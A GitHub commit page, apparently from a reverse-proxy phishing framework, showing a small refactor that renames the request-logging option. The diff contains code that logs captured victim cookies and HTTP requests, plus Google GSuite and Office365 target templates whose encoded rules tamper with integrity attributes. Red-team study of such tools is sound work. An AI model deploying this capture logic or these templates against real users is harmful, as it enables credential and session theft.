Skip to content
Permalink
Browse files

Small bug fix related to rules param

  • Loading branch information...
drk1wi committed Jun 6, 2019
1 parent c4e16ed commit fc63cd5693dacb277b21ac5aa826e965fe1f7214
Showing with 20 additions and 16 deletions.
  1. +3 −2 config/config.go
  2. +2 −1 log/log.go
  3. +8 −7 log/util.go
  4. +2 −1 main.go
  5. +3 −3 main_test.go
  6. +1 −1 templates/google.com_gsuite.json
  7. +1 −1 templates/office365.json
@@ -42,7 +42,7 @@ type Options struct {
LogPostOnly *bool `json:"logPostOnly"`
DisableSecurity *bool `json:"disableSecurity"`
DynamicMode *bool `json:"dynamicMode"`
LogFile *string `json:"log"`
LogRequestFile *string `json:"log"`
Plugins *string `json:"plugins"`
*TLSConfig
}
@@ -80,7 +80,8 @@ var (
ForceHTTP: flag.Bool("forceHTTP", false, "Strip all TLS from the traffic and proxy through HTTP only"),
ForceHTTPS: flag.Bool("forceHTTPS", false, "Strip all clear-text from the traffic and proxy through HTTPS only"),

LogFile: flag.String("log", "", "Local file to which fetched requests will be written (appended)"),
LogRequestFile: flag.String("log", "", "Local file to which fetched requests will be written (appended)"),

LogPostOnly: flag.Bool("postOnly", false, "Log only HTTP POST requests"),

Plugins: flag.String("plugins", "all", "Comma separated list of enabled plugin names"),
@@ -79,7 +79,8 @@ var (
type LoggingOptions struct {
GET bool
POST bool
FilePath string
LogRequestPath string

}

func Wrap(s, effect string) string {
@@ -33,11 +33,11 @@ func FunctionTracking(start time.Time, name string) {
}
}

func toFile(data string) {
func LogRequestFile(data string) {

if Options.FilePath != "" {
if Options.LogRequestPath != "" {
if file == nil {
file, _ = os.OpenFile(Options.FilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
file, _ = os.OpenFile(Options.LogRequestPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)

}

@@ -49,11 +49,12 @@ func toFile(data string) {

}


func Cookies(userID string, URL string, cookies []string, IP string) {

cookieString := strings.Join(cookies, "####")

toFile("\nCOOKIES" +
LogRequestFile("\nCOOKIES" +
"\n======\nTimestamp: " + time.Now().Format(time.RFC850) +
"\n======\nRemoteIP: " + IP +
"\n======\nUUID: " + userID +
@@ -63,7 +64,7 @@ func Cookies(userID string, URL string, cookies []string, IP string) {

}

func HTTPRequest(req *http.Request, phishUser string) {
func HTTPRequest(req *http.Request, userID string) {

if Options.POST && req.Method != "POST" {
return
@@ -75,10 +76,10 @@ func HTTPRequest(req *http.Request, phishUser string) {
Errorf("Error dumping request: %s", err)
}

toFile("\nREQUEST" +
LogRequestFile("\nREQUEST" +
"\n======\nTimestamp: " + time.Now().Format(time.RFC850) +
"\n======\nRemoteIP: " + req.RemoteAddr +
"\n======\nUUID: " + phishUser +
"\n======\nUUID: " + userID +
"\n======\n" + string(requestDump) +
"\n======\n")

@@ -46,7 +46,8 @@ func (c *Configuration) initLogging() {
log.Options = log.LoggingOptions{
GET: logGET,
POST: *c.LogPostOnly,
FilePath: *c.LogFile,
LogRequestPath: *c.LogRequestFile,

}
}

@@ -209,7 +209,7 @@ func TestCmdLineFlags(t *testing.T) {
"TargetRules": "eHh4:eXl5", //xxx:yyy
"TrackingCookie": "id",
"TrackingParam": "id",
"LogFile": "logfile",
"LogRequestFile": "logfile",
"Plugins": "plugin1,plugin2,plugin2",
}

@@ -235,7 +235,7 @@ func TestCmdLineFlags(t *testing.T) {
" -rules " + in["TargetRules"] +
" -trackingCookie " + in["TrackingCookie"] +
" -trackingParam " + in["TrackingParam"] +
" -log " + in["LogFile"] +
" -log " + in["LogRequestFile"] +
" -plugins " + in["Plugins"]

if in_bool["Debug"] {
@@ -386,7 +386,7 @@ func TestJSONConfig(t *testing.T) {
"TargetRules": "eHh4:eXl5", //xxx:yyy
"TrackingCookie": "id",
"TrackingParam": "id",
"LogFile": "logfile",
"LogRequestFile": "logfile",
"Plugins": "plugin1,plugin2,plugin2",
"TLSCertificate": "-----BEGIN CERTIFICATE-----\nMIIDEDCCAfigAwIBAgIEKfekOzANBgkqhkiG9w0BAQsFADASMRAwDgYDVQ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l4WFsahELvQuXP+1Apq7Q\nZ0h+Gb2NkpRrgTJK8cUQf+8uIQM4SYpgAGw2dqZZAoGBANjdSoeDOJsVFXzWDwv1\nRh4VIDBt2jD3BoAhh+8ZVffwGGnTyK67q6W8qmxbjBkzTx35ed9o9CK9qSRDN2TT\nJUpzUAZ5jKEfIohltjyMQef5iFj7xlpewO8+Wrn1LZQZsWWRi6jcXYmd60tZNj9x\nEKUGtjoKjJQl8X6FgCi3iEofAoGARYgoieY27UvwZi5OdDiqrsRoNLyHM5HTWZvi\nAdyX9fS1pSZQ/K16j4K9vDlua3sIEj2tAWY9o5ahTI4mbHNhhJJVgJLN8sn7do8k\nFudoxDrFmPU0/aVnJcaaR7mZplxFVdtc6kV1FVMd/SIEpKbv64O9MtexWtAvIJx8\nhl+lKUECgYEAu9sAdc0pbzmdTeNterIScCXnclpANW1jsfCQvOv3qWqvU0uBreyd\nhVW67M9XzMzn6baZ3jLi0RxmIkxnLwkfLUTpMcmQO+1WY77MkROXDBmDQ87sBIDP\nluG0g5iz09m0QIt8nFUAZlogqgUXoMsBTtNk/jY4jpdTSzoh1kUeZIw=\n-----END PRIVATE KEY-----\n",
@@ -4,7 +4,7 @@
"proxyAddress": "",
"target": "google.com",
"targetResources": "content.googleapis.com,www.gstatic.com,ssl.gstatic.com,ogs.google.com,accounts.google.com,clients1.google.com,clients2.google.com,clients3.google.com,clients4.google.com,clients5.google.com,clients6.google.com",
"targetRules": "",
"rules": "",
"terminateTriggers": "",
"terminateRedirectUrl": "",
"trackingCookie": "ident",
@@ -4,7 +4,7 @@
"proxyAddress": "",
"target": "microsoftonline.com",
"targetResources": "",
"targetRules": "by5zZXRBdHRyaWJ1dGUoImludGVncml0eSI=:by5zZXRBdHRyaWJ1dGUoImludGVnZHJpdHki,aW50ZWdyaXR5PQ==:aW50ZWdyaWN0eT0=,PC9oZWFkPg==:",
"rules": "by5zZXRBdHRyaWJ1dGUoImludGVncml0eSI=:by5zZXRBdHRyaWJ1dGUoImludGVnZHJpdHki,aW50ZWdyaXR5PQ==:aW50ZWdyaWN0eT0=,PC9oZWFkPg==:",
"terminateTriggers": "",
"terminateRedirectUrl": "",
"trackingCookie": "id",

0 comments on commit fc63cd5

Please sign in to comment.
You can’t perform that action at this time.